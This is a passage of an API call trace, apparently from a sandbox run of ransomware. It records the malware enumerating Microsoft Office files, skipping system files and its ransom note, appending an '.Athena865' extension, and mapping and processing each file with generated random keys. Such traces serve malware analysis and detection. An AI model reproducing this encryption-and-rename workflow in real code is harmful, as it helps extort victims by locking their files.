lpName=0x0) returned 0x17c [0144.073] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc70) returned 0x100000 [0144.074] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0144.075] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0144.075] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.075] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0144.075] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0144.075] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0144.075] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0144.075] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0144.075] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0144.075] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0144.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0144.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0144.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0144.076] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0144.076] CloseHandle (hObject=0x17c) returned 1 [0144.076] CloseHandle (hObject=0x154) returned 1 [0144.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0144.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0144.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0144.076] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7df9900, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x13f0930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7df9900, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x644d70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTLLIBR.DLL", cAlternateFileName="")) returned 1 [0144.076] lstrcmpiW (lpString1="OUTLLIBR.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0144.076] lstrcmpiW (lpString1="OUTLLIBR.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0144.076] lstrcmpiW (lpString1="OUTLLIBR.DLL", lpString2=".") returned 1 [0144.076] lstrcmpiW (lpString1="OUTLLIBR.DLL", lpString2="..") returned 1 [0144.077] lstrcmpiW (lpString1="OUTLLIBR.DLL", lpString2="windows") returned -1 [0144.077] lstrcmpiW (lpString1="OUTLLIBR.DLL", lpString2="bootmgr") returned 1 [0144.077] lstrcmpiW (lpString1="OUTLLIBR.DLL", lpString2="temp") returned -1 [0144.077] lstrcmpiW (lpString1="OUTLLIBR.DLL", lpString2="pagefile.sys") returned -1 [0144.077] lstrcmpiW (lpString1="OUTLLIBR.DLL", lpString2="boot") returned 1 [0144.077] lstrcmpiW (lpString1="OUTLLIBR.DLL", lpString2="ids.txt") returned 1 [0144.077] lstrcmpiW (lpString1="OUTLLIBR.DLL", lpString2="ntuser.dat") returned 1 [0144.077] lstrcmpiW (lpString1="OUTLLIBR.DLL", lpString2="perflogs") returned -1 [0144.077] lstrcmpiW (lpString1="OUTLLIBR.DLL", lpString2="MSBuild") returned 1 [0144.077] lstrlenW (lpString="OUTLLIBR.DLL") returned 12 [0144.077] lstrcpyW (in: lpString1=0x241e8a8, lpString2="OUTLLIBR.DLL" | out: lpString1="OUTLLIBR.DLL") returned="OUTLLIBR.DLL" [0144.077] lstrlenW (lpString="OUTLLIBR.DLL") returned 12 [0144.077] lstrlenW (lpString="Athena865") returned 9 [0144.077] lstrcmpiW (lpString1="LLIBR.DLL", lpString2="Athena865") returned 1 [0144.077] lstrlenW (lpString=".dll") returned 4 [0144.077] lstrcmpiW (lpString1="OUTLLIBR.DLL", lpString2=".dll") returned 1 [0144.077] lstrlenW (lpString=".lnk") returned 4 [0144.077] lstrcmpiW (lpString1="OUTLLIBR.DLL", lpString2=".lnk") returned 1 [0144.077] lstrlenW (lpString=".ini") returned 4 [0144.077] lstrcmpiW (lpString1="OUTLLIBR.DLL", lpString2=".ini") returned 1 [0144.077] lstrlenW (lpString=".sys") returned 4 [0144.077] lstrcmpiW (lpString1="OUTLLIBR.DLL", lpString2=".sys") returned 1 [0144.077] lstrlenW (lpString="OUTLLIBR.DLL") returned 12 [0144.077] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.Athena865") returned 70 [0144.077] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.athena865"), dwFlags=0x1) returned 1 [0144.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0144.079] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6573424) returned 1 [0144.079] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0144.080] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0144.080] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0144.080] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0144.080] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0144.080] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.081] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x645070, lpName=0x0) returned 0x17c [0144.082] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x600000, dwNumberOfBytesToMap=0x45070) returned 0x2bb0000 [0144.208] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0144.210] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0144.210] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.210] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0144.210] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0144.210] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0144.210] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0144.210] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0144.210] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0144.210] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0144.210] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0144.210] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0144.210] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0144.210] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0144.213] CloseHandle (hObject=0x17c) returned 1 [0144.213] CloseHandle (hObject=0x154) returned 1 [0144.213] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0144.213] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0144.213] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0144.221] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2411fa00, ftCreationTime.dwHighDateTime=0x1cac9b2, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2411fa00, ftLastWriteTime.dwHighDateTime=0x1cac9b2, nFileSizeHigh=0x0, nFileSizeLow=0x1d380, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTLLIBR.DLL.IDX_DLL", cAlternateFileName="OUTLLI~1.IDX")) returned 1 [0144.221] lstrcmpiW (lpString1="OUTLLIBR.DLL.IDX_DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0144.221] lstrcmpiW (lpString1="OUTLLIBR.DLL.IDX_DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0144.221] lstrcmpiW (lpString1="OUTLLIBR.DLL.IDX_DLL", lpString2=".") returned 1 [0144.221] lstrcmpiW (lpString1="OUTLLIBR.DLL.IDX_DLL", lpString2="..") returned 1 [0144.221] lstrcmpiW (lpString1="OUTLLIBR.DLL.IDX_DLL", lpString2="windows") returned -1 [0144.221] lstrcmpiW (lpString1="OUTLLIBR.DLL.IDX_DLL", lpString2="bootmgr") returned 1 [0144.222] lstrcmpiW (lpString1="OUTLLIBR.DLL.IDX_DLL", lpString2="temp") returned -1 [0144.222] lstrcmpiW (lpString1="OUTLLIBR.DLL.IDX_DLL", lpString2="pagefile.sys") returned -1 [0144.222] lstrcmpiW (lpString1="OUTLLIBR.DLL.IDX_DLL", lpString2="boot") returned 1 [0144.222] lstrcmpiW (lpString1="OUTLLIBR.DLL.IDX_DLL", lpString2="ids.txt") returned 1 [0144.222] lstrcmpiW (lpString1="OUTLLIBR.DLL.IDX_DLL", lpString2="ntuser.dat") returned 1 [0144.222] lstrcmpiW (lpString1="OUTLLIBR.DLL.IDX_DLL", lpString2="perflogs") returned -1 [0144.222] lstrcmpiW (lpString1="OUTLLIBR.DLL.IDX_DLL", lpString2="MSBuild") returned 1 [0144.222] lstrlenW (lpString="OUTLLIBR.DLL.IDX_DLL") returned 20 [0144.222] lstrcpyW (in: lpString1=0x241e8a8, lpString2="OUTLLIBR.DLL.IDX_DLL" | out: lpString1="OUTLLIBR.DLL.IDX_DLL") returned="OUTLLIBR.DLL.IDX_DLL" [0144.222] lstrlenW (lpString="OUTLLIBR.DLL.IDX_DLL") returned 20 [0144.222] lstrlenW (lpString="Athena865") returned 9 [0144.222] lstrcmpiW (lpString1="L.IDX_DLL", lpString2="Athena865") returned 1 [0144.222] lstrlenW (lpString=".dll") returned 4 [0144.222] lstrcmpiW (lpString1="OUTLLIBR.DLL.IDX_DLL", lpString2=".dll") returned 1 [0144.222] lstrlenW (lpString=".lnk") returned 4 [0144.222] lstrcmpiW (lpString1="OUTLLIBR.DLL.IDX_DLL", lpString2=".lnk") returned 1 [0144.222] lstrlenW (lpString=".ini") returned 4 [0144.222] lstrcmpiW (lpString1="OUTLLIBR.DLL.IDX_DLL", lpString2=".ini") returned 1 [0144.222] lstrlenW (lpString=".sys") returned 4 [0144.222] lstrcmpiW (lpString1="OUTLLIBR.DLL.IDX_DLL", lpString2=".sys") returned 1 [0144.222] lstrlenW (lpString="OUTLLIBR.DLL.IDX_DLL") returned 20 [0144.222] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL.Athena865") returned 78 [0144.222] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll.athena865"), dwFlags=0x1) returned 1 [0144.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0144.225] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=119680) returned 1 [0144.225] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0144.225] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0144.225] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0144.226] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0144.226] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0144.226] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.227] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d680, lpName=0x0) returned 0x17c [0144.228] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1d680) returned 0x100000 [0144.234] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0144.235] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0144.235] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.235] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0144.235] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0144.235] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0144.235] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0144.235] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0144.235] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0144.235] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0144.235] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0144.235] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0144.235] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0144.236] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0144.237] CloseHandle (hObject=0x17c) returned 1 [0144.237] CloseHandle (hObject=0x154) returned 1 [0144.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0144.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0144.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0144.237] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2411fa00, ftCreationTime.dwHighDateTime=0x1cac9b2, ftLastAccessTime.dwLowDateTime=0x1416a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2411fa00, ftLastWriteTime.dwHighDateTime=0x1cac9b2, nFileSizeHigh=0x0, nFileSizeLow=0x46f80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTLLIBR.REST.IDX_DLL", cAlternateFileName="OUTLLI~2.IDX")) returned 1 [0144.237] lstrcmpiW (lpString1="OUTLLIBR.REST.IDX_DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0144.237] lstrcmpiW (lpString1="OUTLLIBR.REST.IDX_DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0144.237] lstrcmpiW (lpString1="OUTLLIBR.REST.IDX_DLL", lpString2=".") returned 1 [0144.238] lstrcmpiW (lpString1="OUTLLIBR.REST.IDX_DLL", lpString2="..") returned 1 [0144.238] lstrcmpiW (lpString1="OUTLLIBR.REST.IDX_DLL", lpString2="windows") returned -1 [0144.238] lstrcmpiW (lpString1="OUTLLIBR.REST.IDX_DLL", lpString2="bootmgr") returned 1 [0144.238] lstrcmpiW (lpString1="OUTLLIBR.REST.IDX_DLL", lpString2="temp") returned -1 [0144.238] lstrcmpiW (lpString1="OUTLLIBR.REST.IDX_DLL", lpString2="pagefile.sys") returned -1 [0144.238] lstrcmpiW (lpString1="OUTLLIBR.REST.IDX_DLL", lpString2="boot") returned 1 [0144.238] lstrcmpiW (lpString1="OUTLLIBR.REST.IDX_DLL", lpString2="ids.txt") returned 1 [0144.238] lstrcmpiW (lpString1="OUTLLIBR.REST.IDX_DLL", lpString2="ntuser.dat") returned 1 [0144.238] lstrcmpiW (lpString1="OUTLLIBR.REST.IDX_DLL", lpString2="perflogs") returned -1 [0144.238] lstrcmpiW (lpString1="OUTLLIBR.REST.IDX_DLL", lpString2="MSBuild") returned 1 [0144.238] lstrlenW (lpString="OUTLLIBR.REST.IDX_DLL") returned 21 [0144.238] lstrcpyW (in: lpString1=0x241e8a8, lpString2="OUTLLIBR.REST.IDX_DLL" | out: lpString1="OUTLLIBR.REST.IDX_DLL") returned="OUTLLIBR.REST.IDX_DLL" [0144.238] lstrlenW (lpString="OUTLLIBR.REST.IDX_DLL") returned 21 [0144.238] lstrlenW (lpString="Athena865") returned 9 [0144.238] lstrcmpiW (lpString1="T.IDX_DLL", lpString2="Athena865") returned 1 [0144.238] lstrlenW (lpString=".dll") returned 4 [0144.238] lstrcmpiW (lpString1="OUTLLIBR.REST.IDX_DLL", lpString2=".dll") returned 1 [0144.238] lstrlenW (lpString=".lnk") returned 4 [0144.238] lstrcmpiW (lpString1="OUTLLIBR.REST.IDX_DLL", lpString2=".lnk") returned 1 [0144.238] lstrlenW (lpString=".ini") returned 4 [0144.238] lstrcmpiW (lpString1="OUTLLIBR.REST.IDX_DLL", lpString2=".ini") returned 1 [0144.238] lstrlenW (lpString=".sys") returned 4 [0144.238] lstrcmpiW (lpString1="OUTLLIBR.REST.IDX_DLL", lpString2=".sys") returned 1 [0144.238] lstrlenW (lpString="OUTLLIBR.REST.IDX_DLL") returned 21 [0144.238] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL.Athena865") returned 79 [0144.238] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.rest.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.rest.idx_dll.athena865"), dwFlags=0x1) returned 1 [0144.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.rest.idx_dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0144.240] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=290688) returned 1 [0144.241] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0144.241] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0144.241] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0144.241] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0144.242] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0144.242] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.242] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x47280, lpName=0x0) returned 0x17c [0144.243] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x47280) returned 0x2bb0000 [0144.252] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0144.253] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0144.253] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0144.253] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0144.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0144.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0144.253] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0144.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0144.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0144.254] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0144.254] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0144.254] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0144.254] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0144.256] CloseHandle (hObject=0x17c) returned 1 [0144.256] CloseHandle (hObject=0x154) returned 1 [0144.256] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0144.256] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0144.256] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0144.258] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa80e2700, ftCreationTime.dwHighDateTime=0x1ca8f17, ftLastAccessTime.dwLowDateTime=0x1462d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa80e2700, ftLastWriteTime.dwHighDateTime=0x1ca8f17, nFileSizeHigh=0x0, nFileSizeLow=0x6aa3d8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTLOOK.DEV.HXS", cAlternateFileName="OUTLOO~1.HXS")) returned 1 [0144.258] lstrcmpiW (lpString1="OUTLOOK.DEV.HXS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0144.258] lstrcmpiW (lpString1="OUTLOOK.DEV.HXS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0144.258] lstrcmpiW (lpString1="OUTLOOK.DEV.HXS", lpString2=".") returned 1 [0144.258] lstrcmpiW (lpString1="OUTLOOK.DEV.HXS", lpString2="..") returned 1 [0144.258] lstrcmpiW (lpString1="OUTLOOK.DEV.HXS", lpString2="windows") returned -1 [0144.258] lstrcmpiW (lpString1="OUTLOOK.DEV.HXS", lpString2="bootmgr") returned 1 [0144.258] lstrcmpiW (lpString1="OUTLOOK.DEV.HXS", lpString2="temp") returned -1 [0144.258] lstrcmpiW (lpString1="OUTLOOK.DEV.HXS", lpString2="pagefile.sys") returned -1 [0144.258] lstrcmpiW (lpString1="OUTLOOK.DEV.HXS", lpString2="boot") returned 1 [0144.258] lstrcmpiW (lpString1="OUTLOOK.DEV.HXS", lpString2="ids.txt") returned 1 [0144.258] lstrcmpiW (lpString1="OUTLOOK.DEV.HXS", lpString2="ntuser.dat") returned 1 [0144.258] lstrcmpiW (lpString1="OUTLOOK.DEV.HXS", lpString2="perflogs") returned -1 [0144.258] lstrcmpiW (lpString1="OUTLOOK.DEV.HXS", lpString2="MSBuild") returned 1 [0144.258] lstrlenW (lpString="OUTLOOK.DEV.HXS") returned 15 [0144.258] lstrcpyW (in: lpString1=0x241e8a8, lpString2="OUTLOOK.DEV.HXS" | out: lpString1="OUTLOOK.DEV.HXS") returned="OUTLOOK.DEV.HXS" [0144.258] lstrlenW (lpString="OUTLOOK.DEV.HXS") returned 15 [0144.258] lstrlenW (lpString="Athena865") returned 9 [0144.258] lstrcmpiW (lpString1="K.DEV.HXS", lpString2="Athena865") returned 1 [0144.258] lstrlenW (lpString=".dll") returned 4 [0144.258] lstrcmpiW (lpString1="OUTLOOK.DEV.HXS", lpString2=".dll") returned 1 [0144.259] lstrlenW (lpString=".lnk") returned 4 [0144.259] lstrcmpiW (lpString1="OUTLOOK.DEV.HXS", lpString2=".lnk") returned 1 [0144.259] lstrlenW (lpString=".ini") returned 4 [0144.259] lstrcmpiW (lpString1="OUTLOOK.DEV.HXS", lpString2=".ini") returned 1 [0144.259] lstrlenW (lpString=".sys") returned 4 [0144.259] lstrcmpiW (lpString1="OUTLOOK.DEV.HXS", lpString2=".sys") returned 1 [0144.259] lstrlenW (lpString="OUTLOOK.DEV.HXS") returned 15 [0144.259] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS.Athena865") returned 73 [0144.259] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft 